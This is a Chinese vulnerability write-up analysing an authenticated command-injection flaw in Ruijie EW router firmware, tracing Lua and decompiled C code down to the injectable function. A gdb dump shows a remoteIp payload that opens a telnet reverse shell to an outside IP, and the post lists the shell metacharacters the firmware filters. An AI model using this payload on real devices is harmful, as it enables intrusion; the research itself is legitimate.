前言 这是我收获的第一个 CVE  编号,在复现了 winmt  师傅的 CVE-2023-34644 后,他告诉我最新的固件虽然做了一些简单的处理,导致无法在未授权的情况下 RCE ,但因为没有从根源上对命令执行点做限制,所以在授权后,仍然可以进行 RCE 。我对最新的固件进行了分析,完整记录了授权后的 RCE 漏洞从分析到利用的过程。从提交漏洞到现在也有半年的时间了,并且锐捷官网也已经发布了最新的固件,现将该文章分享出来,供大家进行学习和研究。
PS:本文记录的部分内容和 站在巨人肩膀上复现CVE-2023-34644 | ZIKH26’s Blog  这篇文章中的部分内容有相似之处,因为对前期的 lua 文件分析基本一致。为了保证读任何一篇单独的文章都较为通顺和连贯,因此就保留了两篇文章中相似的部分。
仿真环境搭建 仿真环境搭建请参考 https://bbs.kanxue.com/thread-277386.htm#msg_header_h2_4 
该文章详细记录了锐捷 EW 型号路由器的仿真过程
qemu 的启动脚本如下
# !/bin/bash sudo qemu-system-mipsel \     -cpu 74Kf \     -M malta \     -kernel vmlinux-3.2.0-4-4kc-malta \     -hda debian_squeeze_mipsel_standard.qcow2 \     -append "root=/dev/sda1 console=tty0" \     -net nic \     -net tap,ifname=tap0,script=no,downscript=no \     -nographic 
其中的  vmlinux-3.2.0-4-4kc-malta 和 debian_squeeze_mipsel_standard.qcow2  文件从 https://people.debian.org/~aurel32/qemu/mipsel/    进行下载
在执行 qemu 启动脚本之前,执行下面的脚本,创建一个网桥
# !/bin/sh # sudo ifconfig eth0 down                  sudo brctl addbr br0                     # 添加一座名为 br0 的网桥 sudo brctl addif br0 ens33                # 在 br0 中添加一个接口 sudo brctl stp br0 off                   # 如果只有一个网桥,则关闭生成树协议 sudo brctl setfd br0 1                   # 设置 br0 的转发延迟 sudo brctl sethello br0 1                # 设置 br0 的 hello 时间 sudo ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口 sudo ifconfig ens33 0.0.0.0 promisc up    # 启用网卡接口 sudo dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址 sudo brctl show br0                      # 查看虚拟网桥列表 sudo brctl showstp br0                   # 查看 br0 的各接口信息 sudo tunctl -t tap0 -u root              # 创建一个 tap0 接口,只允许 root 用户访问 sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口 sudo ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口 sudo brctl showstp br0 
漏洞分析 lua文件调用链分析 lua新版本219 调用链分析 在 usr/lib/lua/luci/modules/cmd.lua 文件中有如下代码,容易让初学者搞混,所以在此简单说明一下
local  opt = {"add" , "del" , "update" , "get" , "set" , "clear" , 'doc' }acConfig, devConfig, devSta, devCap = {}, {}, {}, {} for  i = 1 , #opt do ......     devSta[opt[i]] = function (params)          local  model = require  "dev_sta"          params.method = opt[i]         params.cfg_cmd = "dev_sta"          local  data, back, ip, password, shell = doParams(params)         return  fetch(model.fetch, shell, params, opt[i], params.module , data, back, ip, password)     end  ......     end 
首先是先定义了一个表 opt 里面装了字符串 add  del upload 等字符串,然后又定义了四张空表 acConfig devConfig devSta devCap ,接下来是一个 for 循环来遍历 opt 表。
以 devSta[opt[i]] = function(params)  这行代码为例,假设现在 opt[i] 是元素 add,function(params) 这里是声明了一个匿名函数,因为函数也是一个变量,这个变量被直接存储到了 devSta 表中,以键值的形式存在,键就是字符串 add 而值就是这个函数,之后调用这个函数的话可以直接写 devSta["add"]()    
function  hello ()         local  model = require  "dev_sta"          params.method = opt[i]         params.cfg_cmd = "dev_sta"          local  data, back, ip, password, shell = doParams(params)         return  fetch(model.fetch, shell, params, opt[i], params.module , data, back, ip, password) end devSta["add" ] = hello  
为什么特别说明这里呢?因为我在开始分析的时候,我一直以为这里是匹配到对应的键值后直接去执行函数,导致在此处执行了 doParams fetch 函数(实际上通过上面的分析也知道,这里只是定义了这些函数,并没有进行调用)
下面开始正式从入口分析 /api/cmd 的这条链,在 /usr/lib/lua/luci/controller/eweb/api.lua 文件中存在 entry({"api", "cmd"}, call("rpc_cmd"), nil) 这行代码,意味着授权后访问 /api/cmd 路径时,可以调用 rpc_cmd 函数
function  rpc_cmd ()     local  jsonrpc = require  "luci.utils.jsonrpc"      local  http = require  "luci.http"      local  ltn12 = require  "luci.ltn12"      local  _tbl = require  "luci.modules.cmd"      http.prepare_content("application/json" )     ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write ) end 
通过分析 rpc_cmd 函数得知 _tbl 已经包含了 cmd.lua 中所有变量的定义(上文已经分析过了),主要是 ac_config dev_config dev_sta 这三个表包含了 add del update get set clear doc 这些操作,而 devCap 表只有 get ,相关代码如下
local  opt = {"add" , "del" , "update" , "get" , "set" , "clear" , 'doc' }acConfig, devConfig, devSta, devCap = {}, {}, {}, {} for  i = 1 , #opt do     acConfig[opt[i]] = function (params)          local  model = require  "ac_config"          params.method = opt[i]         params.cfg_cmd = "ac_config"          local  data, back, ip, password, shell = doParams(params)         return  fetch(model.fetch, shell, params, opt[i], params.module , data, back, ip, password)     end      devConfig[opt[i]] = function (params)          local  model = require  "dev_config"          params.method = opt[i]         params.cfg_cmd = "dev_config"          local  data, back, ip, password, shell = doParams(params)         return  fetch(model.fetch, shell, params, opt[i], params.module , data, back, ip, password)     end      devSta[opt[i]] = function (params)          local  model = require  "dev_sta"          params.method = opt[i]         params.cfg_cmd = "dev_sta"          local  data, back, ip, password, shell = doParams(params)         return  fetch(model.fetch, shell, params, opt[i], params.module , data, back, ip, password)     end      if  opt[i] == "get"  then          devCap[opt[i]] = function (params)              local  model = require  "dev_cap"              params.method = opt[i]             params.cfg_cmd = "dev_cap"              local  data, back, ip, password, shell = doParams(params)             return  fetch(model.fetch, shell, params, opt[i], params.module , ip, password)         end      end      if  opt[i] == "doc"  then          syshell = function (params)              local  tool = require  "luci.utils.tool"              return  tool.doc(params)         end      end  end 
然后来看 rpc_cmd 函数中的这行代码 ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
jsonrpc.handle 函数的参数是 _tbl ,看下 luci.utils.jsonrpc 文件中的 handle 函数,发现又将参数 tbl 传给了 resolve ,同时传入的还有报文中的 method 字段
function  handle (tbl, rawsource, ...) ......     if  stat then          if  type (json.method) == "string"  then              local  method = resolve(tbl, json.method)             if  method then                  response = reply(json.jsonrpc, json.id, proxy(method, json.params or  {})) ...... end 
resolve 函数主要是将 mod 表中存放键值对中的函数提取出来,假设 method 为 devCap.get ,那么下面的代码最后可以将匿名函数 devCap["get"] 赋值给 mod 并返回
function  resolve (mod, method)     local  path  = luci.util.split(method, "." )     for  j = 1 , #path  - 1  do          if  not  type (mod ) == "table"  then              break          end          mod  = rawget (mod , path [j])         if  not  mod  then              break          end      end      mod  = type (mod ) == "table"  and  rawget (mod , path [#path ]) or  nil      if  type (mod ) == "function"  then          return  mod      end  end 
分析 proxy(method, json.params or {}) 发现,将刚刚解析的返回值 method 被 proxy 函数当做参数,这里的 method 又传入了 luci.util 文件中的 copcall 函数
function  proxy (method, ...)     local  tool = require  "luci.utils.tool"      local  res = {luci.util.copcall(method, ...)} ...... end 
copcall 函数主要是对 coxpcall 的一个封装
function  copcall (f, ...) 	return  coxpcall(f, copcall_id, ...) end 
终于在 coxpcall 函数内部发现调用了 f 
function  coxpcall (f, err, ...) 	local  res, co = oldpcall(coroutine .create , f) ...... end 
oldpcall(coroutine.create, f) 这行代码的目的是在一个新的协程中运行函数 f 。至此开始执行上面提到的匿名函数,重新回顾一下它的代码,该函数调用了 doParams 对 json 数据进行解析,随后调用了 fetch 函数
devSta[opt[i]] = function (params)      local  model = require  "dev_sta"      params.method = opt[i]     params.cfg_cmd = "dev_sta"      local  data, back, ip, password, shell = doParams(params)     return  fetch(model.fetch, shell, params, opt[i], params.module , data, back, ip, password) 
这个 fetch 函数在 cmd.lua 文件中已经定义了,这里调用了 fn 也就是 fetch 函数传入进来的第一个参数
local  function  fetch (fn, shell, params, ...)     require  "luci.json"      local  tool = require  "luci.utils.tool"      local  _start = os .time ()     local  _res = fn(...) ...... end 
fetch 函数的第一个参数为 model.fetch ,model 是 require "dev_cap.lua" 后的结果,所以在 cmd.lua 的 fetch 函数内部调用了 dev_sta.lua 文件中定义的 fetch 函数,该函数定义如下,能够看到最后是调用了 /usr/lib/lua/libuflua.so 文件中的 client_call 函数
function  fetch (cmd, module, param, back, ip, password, force, not_change_configId, multi)     local  uf_call = require  "libuflua"  ......     local  stat = uf_call.client_call(ctype, cmd, module , param, back, ip, password, force, not_change_configId, multi)     return  stat end 
用 IDA 打开 /usr/lib/lua/libuflua.so 文件,发现并没有看到有定义的 client_call 函数,不过发现了 uf_client_call 函数,猜测可能是程序内部进行了关联。shift+f12 搜索字符串发现并没有看到 client_call (如下图)
大概率说明 IDA 没有把 client_call 解析成字符串,而是解析成了代码。我这里用 010Editor 打开该文件进行搜索字符串 client_call,成功搜索到后发现其地址位于 0xff0 处
可以看到 IDA 确实是将 0xff0 位置的数据当做了代码来解析,选中这部分数据,按 a ,就能以字符串的形式呈现了
对字符串 client_call 进行交叉引用,发现最终调用位置如下,luaL_register 是 Lua 中注册 C 语言编写的函数,它作用是将 C 函数添加到一个 Lua 模块中,使得这些 C 函数能够从 Lua 代码中被调用
该函数的原型如下
void  luaL_register  (lua_State *L, const  char  *libname, const  luaL_Reg *l) ;
lua_State *L:Lua 状态指针,代表了一个 Lua 解释器实例。const char *libname:模块的名称,这个名称会在 Lua 中作为一个全局变量存在,存放模块的函数。const luaL_Reg *l:一个结构体数组,包含要注册到模块中的函数的信息。每个结构体包含函数的名称和相应的 C 函数指针 
这里重点关注第三个参数,这就说明 0x1101C 的位置存放的是一个字符串以及一个函数指针(如下图),因此判断出 client_call 实际就定义在了 sub_A00 中
sub_A00 函数定义如下,可以看到最后是调用了 uf_client_call 函数,而在这之前的很多赋值操作如 *(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0); ,很容易能猜测到其实是在解析 Lua 传入的各个参数字段。在 Lua 的代码中 uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi) 这里传入了多个参数,但是 sub_A00 函数就一个参数 a1 ,结合的操作分析出这里是在解析参数
int  __fastcall sub_A00 (int  a1) {   v13[0 ] = 0 ;   v2 = malloc (52 );   v3 = v2;   if  ( v2 )   {     memset (v2, 0 , 52 );     v5 = 4 ;     *(_DWORD *)v3 = luaL_checkinteger(a1, 1 );     *(_DWORD *)(v3 + 4 ) = luaL_checklstring(a1, 2 , 0 );     v6 = luaL_checklstring(a1, 3 , 0 );     v7 = *(_DWORD *)v3;     *(_DWORD *)(v3 + 8 ) = v6;     if  ( v7 != 3  )     {       *(_DWORD *)(v3 + 12 ) = lua_tolstring(a1, 4 , 0 );       *(_BYTE *)(v3 + 41 ) = lua_toboolean(a1, 5 ) == 1 ;       v5 = 6 ;       *(_BYTE *)(v3 + 40 ) = 1 ;     }     *(_DWORD *)(v3 + 20 ) = lua_tolstring(a1, v5, 0 );     *(_DWORD *)(v3 + 24 ) = lua_tolstring(a1, v5 + 1 , 0 );     v8 = v5 + 2 ;     if  ( *(_DWORD *)v3 )     {       if  ( *(_DWORD *)v3 == 2  )       {         v8 = v5 + 3 ;         *(_BYTE *)(v3 + 43 ) = lua_toboolean(a1, v5 + 2 ) == 1 ;       }     }     else      {       *(_BYTE *)(v3 + 43 ) = lua_toboolean(a1, v5 + 2 ) == 1 ;       v8 = v5 + 4 ;       *(_BYTE *)(v3 + 44 ) = lua_toboolean(a1, v5 + 3 ) == 1 ;     }     *(_BYTE *)(v3 + 48 ) = lua_toboolean(a1, v8) == 1 ;     v4 = uf_client_call(v3, v13, 0 );   } ......     
uf_client_call 函数是一个引用外部库的函数,用 grep 在整个文件系统搜索字符串 uf_client_call ,结合 /usr/lib/lua/libuflua.so 文件中引用的外部库进行分析,最终判断出 uf_client_call 函数定义在 /usr/lib/libunifyframe.so
uf_client_call 函数首先判断了 method 的类型,然后解析出报文中各字段的值,并将其键值对添加到一个 JSON 对象中,接着将最终处理好的 JSON 对象转换为 JSON 格式的字符串,通过 uf_socket_msg_write 用 socket 套接字进行数据传输
int  __fastcall uf_client_call (_DWORD *a1, int  a2, int  *a3) { ......   v5 = json_object_new_object(); ......   switch  ( *a1 )   {     case  0 :       v15 = ((int  (*)(void ))strlen )() + 10 ; ......       v13 = "acConfig.%s" ;       goto  LABEL_22;     case  1 :       v14 = ((int  (*)(void ))strlen )() + 11 ; ......       v13 = "devConfig.%s" ;       goto  LABEL_22;     case  2 :       v8 = ((int  (*)(void ))strlen )() + 8 ; ......       v13 = "devSta.%s" ;       goto  LABEL_22;     case  3 :       v16 = ((int  (*)(void ))strlen )() + 8 ; ......       v13 = "devCap.%s" ;       goto  LABEL_22;     case  4 :       v17 = ((int  (*)(void ))strlen )() + 7 ; ...... LABEL_22:       json_object_object_add(v5, "method" , v19);       v20 = json_object_new_object(); ......       v21 = json_object_new_string(a1[2 ]);       json_object_object_add(v20, "module" , v21);       v22 = a1[5 ];       if  ( !v22 )         goto  LABEL_35;       json_object_object_add(v20, "remoteIp" , v23); LABEL_35:       v25 = a1[6 ];       if  ( v25 )       {         v26 = json_object_new_string(v25); ......         json_object_object_add(v20, "remotePwd" , v26);       }       if  ( a1[9 ] )       { ......         json_object_object_add(v20, "buf" , v27);       }       if  ( *a1 )       {         if  ( *a1 != 2  )         {           v28 = *((unsigned  __int8 *)a1 + 45 );           goto  LABEL_58;         }         if  ( *((_BYTE *)a1 + 42 ) )         {           v30 = json_object_new_boolean(1 );           if  ( v30 )           {             v31 = v20;             v32 = "execute" ;             goto  LABEL_56;           }         }       }       else        {         if  ( *((_BYTE *)a1 + 43 ) )         {           v29 = json_object_new_boolean(1 );           if  ( v29 )             json_object_object_add(v20, "force" , v29);         }         if  ( *((_BYTE *)a1 + 44 ) )         {           v30 = json_object_new_boolean(1 );           if  ( v30 )           {             v31 = v20;             v32 = "configId_not_change" ; LABEL_56:             json_object_object_add(v31, v32, v30);             goto  LABEL_57;           }         }       } LABEL_57:       v28 = *((unsigned  __int8 *)a1 + 45 ); LABEL_58:       if  ( v28 )       {         v33 = json_object_new_boolean(1 );         if  ( v33 )           json_object_object_add(v20, "from_url" , v33);       }       if  ( *((_BYTE *)a1 + 47 ) )       {         v34 = json_object_new_boolean(1 );         if  ( v34 )           json_object_object_add(v20, "from_file" , v34);       }       if  ( *((_BYTE *)a1 + 48 ) )       {         v35 = json_object_new_boolean(1 );         if  ( v35 )           json_object_object_add(v20, "multi" , v35);       }       if  ( *((_BYTE *)a1 + 46 ) )       {         v36 = json_object_new_boolean(1 );         if  ( v36 )           json_object_object_add(v20, "not_commit" , v36);       }       if  ( *((_BYTE *)a1 + 40 ) )       {         v37 = json_object_new_boolean(*((unsigned  __int8 *)a1 + 41 ) ^ 1 );         if  ( v37 )           json_object_object_add(v20, "async" , v37);       }       v38 = (_BYTE *)a1[3 ];       if  ( !v38 || !*v38 )         goto  LABEL_78;       v39 = json_object_new_string(v38);       json_object_object_add(v20, "data" , v39); LABEL_78:       v41 = (_BYTE *)a1[4 ];       if  ( v41 && *v41 )       {         v42 = json_object_new_string(v41);         if  ( !v42 )         {           json_object_put(v20);           json_object_put(v5);           v40 = 630 ;           goto  LABEL_82;         }         json_object_object_add(v20, "device" , v42);       }       json_object_object_add(v5, "params" , v20);       v43 = json_object_to_json_string(v5); ......       v44 = uf_socket_client_init(0 ); ......       v50 = strlen (v43);       uf_socket_msg_write(v44, v43, v50); ...... 
既然存在 uf_socket_msg_write 进行数据发送,那么肯定就在一个地方有用 uf_socket_msg_read 函数进行数据的接收,用 grep 进行字符串搜索,发现 /usr/sbin/unifyframe-sgi.elf 文件,并且该文件还位于 /etc/init.d 目录下,这意味着该进程最初就会启动并一直存在,所以判断出这个 unifyframe-sgi.elf 文件就是用来接收 libunifyframe.so 文件所发送过来的数据
219版本之前的调用链 该调用链是 winmt  师傅在 CVE-2023-34644   利用的,在 219 之前该调用链可以通杀大部分锐捷的路由器。下面介绍这条调用链所出示的代码均来自 EW1200GI 型号 软件版本为 EW_3.0(1)B11P204 的固件
在 /usr/lib/lua/luci/controller/eweb/api.lua 文件中,配置了路由 entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false
这意味着当用户访问 /api/auth 路径时,将调用 rpc_auth 。在 luci 框架中 sysauth 属性控制是否需要进行系统级的用户认证才能访问该路由,这里的 sysauth 属性为 false ,表示无需进行系统认证即可访问。
rpc_auth 函数首先引入了一些模块,然后获取 HTTP_CONTENT_LENGTH 的长度是否大于 1000 字节,如果不大于的话会将准备 HTTP 响应的类型设置为 application/json ,下面的 handle 函数第一个参数 _tbl 传入的是 luci.modules.noauth 文件返回的内容
function  rpc_auth ()     local  jsonrpc = require  "luci.utils.jsonrpc"      local  http = require  "luci.http"      local  ltn12 = require  "luci.ltn12"      local  _tbl = require  "luci.modules.noauth"      if  tonumber (http.getenv ("HTTP_CONTENT_LENGTH" ) or  0 ) > 1000  then          http.prepare_content("text/plain" )                  return  "too long data"      end      http.prepare_content("application/json" )     ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write ) end 
到了 handle 函数内部后的流程与分析最新版的步骤一样,就不再赘述,最后的结果就是能在这里触发noauth 文件中的 merge 函数(前提是报文中要设置 method 字段的值为 merge)
noauth 的文件中定义了 merge 函数
function  merge (params)     local  cmd = require  "luci.modules.cmd"      return  cmd.devSta.set({device = "pc" , module  = "networkId_merge" , data = params, async = true }) end 
merge 函数又调用了 /usr/lib/lua/luci/modules/cmd.lua 文件中的 devSta.set 函数,之后的过程又和上文中分析最新版的步骤一样,也不再重复记录
devSta[opt[i]] = function (params)      local  model = require  "dev_sta"      params.method = opt[i]     params.cfg_cmd = "dev_sta"      local  data, back, ip, password, shell = doParams(params)     return  fetch(model.fetch, shell, params, opt[i], params.module , data, back, ip, password) 
为什么最新版不能再走这条链了? 在 219 版本,在 noauth.lua 文件中的 merge 函数,加入了对 params 中危险字符的过滤,调用了 includeXxs 和 includeQuote 函数,对换行符、回车符、反引号、&、$、;、| 等符号都做了过滤,这就意味着后续无法再进行命令注入了。而 219 版本只在这里进行了危险字符的过滤,只要从其他地方调用到诸如 dev_cap dev_sta 表中的函数依然可以进行命令注入
function  merge (params)     local  cmd = require  "luci.modules.cmd"      local  tool = require ("luci.utils.tool" )     local  _strParams = luci.json.encode(params)     if  tool.includeXxs(_strParams) or  tool.includeQuote(_strParams) then          tool.eweblog(_strParams, "MERGE FAILED INVALID DATA" )         return  'INVALID DATA'      end      return  cmd.devSta.set({         device = "pc" ,         module  = "networkId_merge" ,         data = params,         async = true      }) end function  includeXxs (str)     local  ngstr = "[\n\r`&$;|]"      return  string .match (str, ngstr) ~= nil  end function  includeQuote (str)     return  string .match (str, "(['])" ) ~= nil  end 
漏洞文件分析 下面开始分析 /usr/sbin/unifyframe-sgi.elf 文件,整体流程是在 main 函数调用了三个关键函数 uf_socket_msg_read parse_content add_pkg_cmd2_task ,他们的作用分别为 接收数据 解析数据 执行命令 
字段解析 由 uf_socket_msg_read 函数将 json 数据读入到内存中,地址为 v31+1
  v31 = (_DWORD *)malloc_pkg(); ......   pthread_mutex_lock(v29 + 5 );   *v31 = v29;   v52 = uf_socket_msg_read(*v29, v31 + 1 );   pthread_mutex_unlock(v29 + 5 ); 
通过 gdb 来查看读入的数据  这里只为说明 gdb 可以查看内存中读入的数据,文章前后发送的报文并不一样 
pwndbg> x/4s 0x623850 0x623850:	"{ \"method\": \"devConfig.get\", \"params\": { \"module\": \"123\", \"remoteIp\": \"$(mkfifo \\/tmp\\/test;telnet 192.168.45.203 6666 0<\\/tmp\\/test|\\/bin\\/sh > \\/tmp\\/test)\", \"remotePwd\": \"\", \"async\": true, \"data\": "... 0x623918:	"\"{\\\"kkk\\\":\\\"abc\\\"}\" } }" 
json 数据的各字段进行解析在 parse_content 函数中完成,该函数首先判断了 params 和 method 字段是否存在,然后在 method 字段不为 cmdArr 的情况下,调用 parse_obj2_cmd 函数进一步对字段进行解析
  v3 = json_tokener_parse();   v4 = v3; ......   v6 = json_object_object_get_ex(v3, "params" , &v18);   v7 = v4;   if  ( v6 != 1  )   { LABEL_27:     json_object_put(v7);     return  -1 ;   }   if  ( json_object_object_get_ex(v4, "method" , v19) != 1  )   { LABEL_26:     v7 = v4;     goto  LABEL_27;   }   v8 = json_object_get_string(v19[0 ]);   if  ( !v8 )   { ......   }   if  ( strstr (v8, "cmdArr" ) )   { ......   }   else    { ......     v16 = parse_obj2_cmd(v4);      *v15 = v16;     if  ( !v16 )     { ......     }     pkg_add_cmd(a1, v15);     v15[2 ] = 0 ;   } 
parse_obj2_cmd 函数中具体的解析了各个字段及类型并把它们记录到一个堆块中,最终返回该堆块地址,便于之后的访问。想知道 POC 的编写格式就要对此处进行逆向分析 ,具体分析结果已写在注释中
  v2 = malloc (0x34 );   v3 = v2; ......   if  ( json_object_object_get_ex(a1, "params" , &v38) != 1  )   { ......   }   if  ( json_object_object_get_ex(a1, "method" , &v37) != 1  )   { ......   }   v4 = json_object_get_string(v37);   v5 = v4; ......   if  ( strstr (v4, "devSta" ) )   {     v6 = 2 ;   }   else    {     if  ( strstr (v5, "acConfig" ) )     {       *(_DWORD *)v3 = 0 ;       goto  LABEL_21;     }     if  ( strstr (v5, "devConfig" ) )     {       *(_DWORD *)v3 = 1 ;       goto  LABEL_21;     }     if  ( strstr (v5, "devCap" ) )     {       v6 = 3 ;     }     else      {       if  ( !strstr (v5, "ufSys" ) )       {         uf_log_printf(uf_log, (const  char  *)dword_4219EC, "sgi.c" , "parse_obj2_cmd" , 274 );         goto  LABEL_109;       }       v6 = 4 ;     }   }   *(_DWORD *)v3 = v6; LABEL_21:   v7 = strchr (v5, 46 );   v8 = strdup(v7 + 1 );   *(_DWORD *)(v3 + 4 ) = v8;   if  ( json_object_object_get_ex(v38, "module" , &v37) != 1  )   { ......   }   v10 = json_object_get_string(v37);   if  ( !v10 )   {     uf_log_printf(uf_client_log, "(%s %s %d)obj_module is null" , "sgi.c" , "parse_obj2_cmd" , 294 );     goto  LABEL_109;   }   v11 = strdup(v10);   *(_DWORD *)(v3 + 8 ) = v11;   if  ( json_object_object_get_ex(v38, "remoteIp" , &v37) == 1  && (unsigned  int )(json_object_get_type(v37) - 5 ) < 2  )   {     v12 = json_object_get_string(v37);     if  ( v12 )     {       v13 = strdup(v12);       *(_DWORD *)(v3 + 20 ) = v13; ......     }   }   else    {     *(_DWORD *)(v3 + 20 ) = 0 ;   }   if  ( json_object_object_get_ex(v38, "remotePwd" , &v37) == 1  && json_object_get_type(v37) == 5  )   {     v14 = json_object_get_string(v37);     if  ( v14 )     {       v15 = strdup(v14);       *(_DWORD *)(v3 + 24 ) = v15; ......       }   }   v16 = *(_DWORD *)v3 != 2 ;   *(_BYTE *)(v3 + 40 ) = 0 ;   *(_BYTE *)(v3 + 41 ) = v16;   if  ( json_object_object_get_ex(v38, "async" , &v37) == 1  )   {     v17 = (_BYTE *)sub_404BAC(v37);     v18 = v17;     if  ( v17 )     {       if  ( *v17 == 48  || !strcmp (v17, "false" ) )       {         *(_BYTE *)(v3 + 40 ) = 1 ;         *(_BYTE *)(v3 + 41 ) = 1 ;       }       if  ( *v18 == 49  || !strcmp (v18, "true" ) )         *(_WORD *)(v3 + 40 ) = 1 ;       free (v18);     }   }   if  ( json_object_object_get_ex(v38, "force" , &v37) == 1  )   {     v19 = (_BYTE *)sub_404BAC(v37);     v20 = v19;     if  ( v19 )     {       if  ( *v19 == 49  || !strcmp (v19, "true" ) )         *(_BYTE *)(v3 + 43 ) = 1 ;       free (v20);     }   }   if  ( json_object_object_get_ex(v38, "configId_not_change" , &v37) == 1  )   {     v21 = (_BYTE *)sub_404BAC(v37);     v22 = v21;     if  ( v21 )     {       if  ( *v21 == 49  || !strcmp (v21, "true" ) )         *(_BYTE *)(v3 + 44 ) = 1 ;       free (v22);     }   }   if  ( json_object_object_get_ex(v38, "from_url" , &v37) == 1  )   {     v23 = (_BYTE *)sub_404BAC(v37);     v24 = v23;     if  ( v23 )     {       if  ( *v23 == 49  || !strcmp (v23, "true" ) )         *(_BYTE *)(v3 + 45 ) = 1 ;       free (v24);     }   }   if  ( json_object_object_get_ex(v38, "from_file" , &v37) == 1  )   {     v25 = (_BYTE *)sub_404BAC(v37);     v26 = v25;     if  ( v25 )     {       if  ( *v25 == 49  || !strcmp (v25, "true" ) )         *(_BYTE *)(v3 + 47 ) = 1 ;       free (v26);     }   }   if  ( json_object_object_get_ex(v38, "multi" , &v37) == 1  )   {     v27 = (_BYTE *)sub_404BAC(v37);     v28 = v27;     if  ( v27 )     {       if  ( *v27 == 49  || !strcmp (v27, "true" ) )         *(_BYTE *)(v3 + 48 ) = 1 ;       free (v28);     }   }   if  ( json_object_object_get_ex(v38, "not_commit" , &v37) == 1  )   {     v29 = (_BYTE *)sub_404BAC(v37);     v30 = v29;     if  ( v29 )     {       if  ( *v29 == 49  || !strcmp (v29, "true" ) )         *(_BYTE *)(v3 + 46 ) = 1 ;       free (v30);     }   }   if  ( json_object_object_get_ex(v38, "execute" , &v37) == 1  )   {     v31 = (_BYTE *)sub_404BAC(v37);     v32 = v31;     if  ( v31 )     {       if  ( *v31 == 49  || !strcmp (v31, "true" ) )         *(_BYTE *)(v3 + 42 ) = 1 ;       free (v32);     }   }   v33 = v3;   if  ( json_object_object_get_ex(v38, "data" , &v37) == 1  && (unsigned  int )(json_object_get_type(v37) - 4 ) < 3  )   {     v34 = json_object_get_string(v37);     if  ( v34 )     {       v35 = strdup(v34);       *(_DWORD *)(v3 + 12 ) = v35;       if  ( !v35 )       {         v9 = 470 ;         goto  LABEL_108;       }     }   }   return  v33; 
将这个堆块装的各种数据绘制成图片可能更直观一些(如下)  xxx 代表有些保留字段,或者是一些标志位,它们在后续利用过程中并不重要,暂不详细记录
使用 GDB 调试到此处看到的各字段信息如下
parse_obj2_cmd 函数结束后,会执行 pkg_add_cmd(a1, v15) ,它的核心作用就是在 a1 这个数据结构中记录了 v15 的指针,使得后续操作通过 a1 访问到刚刚解析出来的各个字段。不过这 pkg_add_cmd 函数里有一个谜之操作,在这行代码中 *(_DWORD *)(a1 + 92) = a2 + 13 是把 a2 也就是 v15 的值加上了 13 存储到了 a1 中,而通过后续的分析得知,之后访问这个 v15 的堆块是通过 *(a1+92)-13 得到的地址。存的时候 +13 ,访问的时候 -13 ,这里没太理解但并不影响我们后续的分析
触发漏洞的调用链分析 main ==> add_pkg_cmd2_task ==> uf_cmd_call ==> ufm_handle ==> remote_call ==>sub_41A148 
json 数据解析完成后,会调用 add_pkg_cmd2_task ,该函数通过访问之前解析出的各个字段,判断 method 是不是 devCap ,如果是的话可以调用后续的漏洞函数(不是 devCap 也可以触发漏洞但是调用链走的并不是我分析的这条)
  if  ( dword_43897C < 1001  )   {     pthread_mutex_lock(*a1 + 20 );     v3 = (_DWORD *)a1[22 ];     v4 = v3 - 13 ;     for  ( i = *v3 - 52 ; ; i = *(_DWORD *)(i + 52 ) - 52  )     {       if  ( v4 + 13  == a1 + 22  )       {         pthread_mutex_unlock(*a1 + 20 );         return  0 ;       }       v6 = malloc (20 );       v7 = (int  **)v6; ......       v10 = (int  *)(v6 + 4 );       v7[2 ] = v10;       v7[1 ] = v10;       *v7 = v4;       v7[4 ] = (int  *)(v7 + 3 );       v7[3 ] = (int  *)(v7 + 3 ); ......          *v7 = v4;       v11 = (_DWORD *)*v4;       v12 = *(_DWORD *)*v4;       if  ( v12 == 3  )         break ;       if  ( v12 == 4  )       {         gettimeofday(v4 + 5 , 0 );         uf_sys_handle(**v7, v4 + 1 ); LABEL_22:         gettimeofday(v4 + 7 , 0 );         sub_40B404(v7);         goto  LABEL_23;       }       if  ( v12 == 2  && !strcmp (v11[1 ], "get" ) && !v11[9 ] && uf_cmd_buf_exist_check(v11[2 ], 2 , v11[3 ], v4 + 1 ) )       { ......       }       sub_40B0C4(v7); LABEL_23:       v4 = (int  *)i;     }     gettimeofday(v4 + 5 , 0 );     if  ( uf_cmd_call(*v4, v4 + 1 ) )       v13 = 2 ;     else        v13 = 1 ;     v4[12 ] = v13;     goto  LABEL_22;   } ......   return  v1; 
uf_cmd_call 函数
  v2 = *(const  char  **)(a1 + 4 );   if  ( !v2 || (v3 = *(_DWORD *)a1, *(_DWORD *)a1 >= 6u ) || (v4 = *(const  char  **)(a1 + 8 )) == 0  )   { ......   }   memset (v103, 0 , 108 );   if  ( v3 == 3  )   { ......     v5 = *(const  char  **)(a1 + 20 );     if  ( !v5 || !*v5 )       goto  LABEL_250;     v6 = a1;     if  ( !is_self_ip(*(_DWORD *)(v6 + 20 )) )     {       remote_call((int  *)a1, (const  char  **)a2);     } ...... 
remote_call 函数
  v9 = (const  char  *)a1[5 ];   if  ( !strcmp (a1[2 ], dword_4232A8) && *a1 == 5  )   { ......   } ......    for  ( i = *(const  char  **)((char  *)&sid_list_by_ip + v11); ; i = *(const  char  **)i )   {     if  ( i == (char  *)&sid_list_by_ip + v11 )        {       pthread_rwlock_unlock(&sid_mutex);              goto  LABEL_35;      } ...... LABEL_35:   v14 = sub_41A148((int )a1); ......   return  0 ; 
最终存在命令注入的函数 sub_41A148 
